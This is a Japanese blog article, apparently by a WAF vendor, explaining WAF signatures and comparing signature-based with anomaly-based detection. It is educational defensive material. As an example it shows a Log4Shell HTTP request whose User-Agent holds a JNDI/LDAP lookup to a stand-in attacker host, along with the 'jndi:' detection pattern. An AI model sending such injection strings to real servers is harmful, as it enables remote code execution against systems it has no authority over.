ディープフェイクやランサムウェアを始めとしたサイバー攻撃に関するニュースが大きく取り上げられる機会が増えてきていると感じる今日この頃。サイバー攻撃への関心と同時に、セキュリティ対策についても考える機会が増えてきているのではないでしょうか。一口にセキュリティ対策と言っても、カバーする領域が広いものから狭いものまであったり、「これからの時代は〇〇が有効だ」と新しい概念や製品がどんどん生み出されたりして、1つ1つの製品を十分に理解している余裕がないという方もいらっしゃるかと思います。
このように多種多様なセキュリティ対策製品が存在する中から
- 構造がシンプル
- 入口対策として費用対効果が高い
という特徴を持つWAF（Web Application Firewall）を題材とし、その仕組みとシグネチャを解説していきます。
シグネチャとは？
日本語に直訳すると「署名」あるいは「サイン」が1番に出てきますが、これが逆にイメージしづらいというケースも考えられます。ちなみに私は「サインする」という行為自体にイメージが引きずられてしまい、なかなかピンときませんでした。
ですが、一般的に自筆のサインは筆跡鑑定によって本人かどうかを判定することが可能であり、本人にしか出せない「特徴」や「パターン」を持っているはずです。そして私が
特徴/パターン ＝ シグネチャ
と対応させて考えるようになってからは、今までのところ不都合は起きておらず、シグネチャの具体的なイメージが湧かない方にはお薦めしたいと思います。
なお、WAFに限らずIDSやIPSといったネットワーク製品でも、PCへインストールするウィルス対策製品でも、シグネチャという用語が用いられる場合があります。それぞれ、攻撃者の通信データの特徴/パターン、ウィルスプログラムが持つデータの特徴/パターン、という具合に置き換えてみるとイメージしやすいかもしれません。
シグネチャを使ったHTTP通信の検査
シグネチャが指し示すものの輪郭が、前項でぼんやりと見えてきたのではないかと思います。引き続き、WAFの挙動と絡めながら解説を続けます。
WAFは、HTTPと呼ばれる規約に従った通信データの中身を見て、それが正常なものか異常なものかを判定し、必要に応じてその通信を遮断する製品です。
何年か前に世界中で話題となったApache Log4jの脆弱性を突いた攻撃を例に挙げると、サイバー攻撃者は次のような通信データをWebサーバーに対して送信してきます。
GET /admin/users HTTP/1.1
Host: www.primewaf.com
User-Agent: ${jndi:ldap://cyberattack.info/dangerous}
Apache Log4jの脆弱性を突いた攻撃は、JNDI Lookupという機能を悪用することで成立するため、3行目に記載しているような「jndi:」という文字列を埋め込んで不正な操作を指示する必要があります。ところが、本来3行目のUser-Agentの内容は一般的な通信データにおいてブラウザの種類やバージョン情報などを記載することが多く、次のようなデータが格納されます。「jndi:」という文字列は使われていませんね。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
つまり、
- 「User-Agent:」で始まる行に
- 「jndi:」が出現する
という特徴/パターン（シグネチャ）がApache Log4jの脆弱性を突く攻撃には存在し、これを登録しておけばWAFが攻撃を検知し遮断してくれます。実際にはもう少し複雑なシグネチャを用いることになりますが、シグネチャの動作イメージの理解としてはひとまず十分かと思います。
世の中にはApache Log4jの脆弱性を突く攻撃以外にもSQLインジェクションやクロスサイトスクリプティングといった他の攻撃が存在しますが、通信データに出現するそれぞれのシグネチャをWAFに登録しておくことで、色々な攻撃から守ってくれます。
シグネチャ型WAFとアノマリ型WAF
本記事でお伝えしたいことはもうほとんど出しきってしまいましたが、最後に１つだけシグネチャにまつわるお話をさせて頂きます。「表と裏」「攻撃と防御」のように対になるものがあるとそれぞれの理解がより深まると思いますので、シグネチャを使った攻撃検知方法（シグネチャ型）と、これと対になるアノマリ型とを比較していきます。
シグネチャ型WAFとアノマリ型WAFのそれぞれの特徴は下表の通りです。
| シグネチャ型WAF | アノマリ型WAF | |
|---|---|---|
| 事前に定義するもの | 異常時のデータ | 正常時のデータ |
| 正常/異常の判定方法 | 【正常な通信】 異常時のデータと一致しない 【異常な通信】 異常時のデータと一致する | 【正常な通信】 正常時のデータと一致する 【異常な通信】 正常時のデータと一致しない |
| この方式の課題 | 登録されていない異常なパターンを識別できない ゼロデイ攻撃を始めとした未登録の攻撃には即座に対処できない | 正常なパターンは異常なパターンと比べてその割合が圧倒的に多くしかも複雑 登録漏れ等によって正常な通信にも関わらず誤検知してしまうケースが発生しやすい |
このように、正常/異常の判断基準が異なるものの内部処理的には非常に似ています。ただし、「この方式の課題」に記載しているようにその特性は大きく異なり、それぞれに得意/不得意があります。どちらか一方だけではなく両方を上手に組み合わせた製品ならば、検知能力をより一層高められると考えています。
まとめ
IT/セキュリティ/ネットワークといった分野は、カタカナや英語あるいは3-4文字の略称による専門用語が多く、とっつきにくい部分もあるかと思います。使わずに説明できそうな専門用語はなるべく排除し、また必要以上にミクロな視点を持たずにマクロな視点のままでお伝えしようと意識しながら書き綴ってみましたが、いかがでしたでしょうか？
WAFやシグネチャについて、少しでも読者の方々の参考になりましたら幸いです。
当サイトでは、サイバー攻撃を防ぐためのWAFに興味がある方へ、参考になるダウンロード資料をご用意しております。「サイバー攻撃可視化ツールPrimeWAF 基本ガイドブック」は、WAF選定時に抑えるべき機能やポイントがわかる資料になっています。ぜひ資料をダウンロードください。
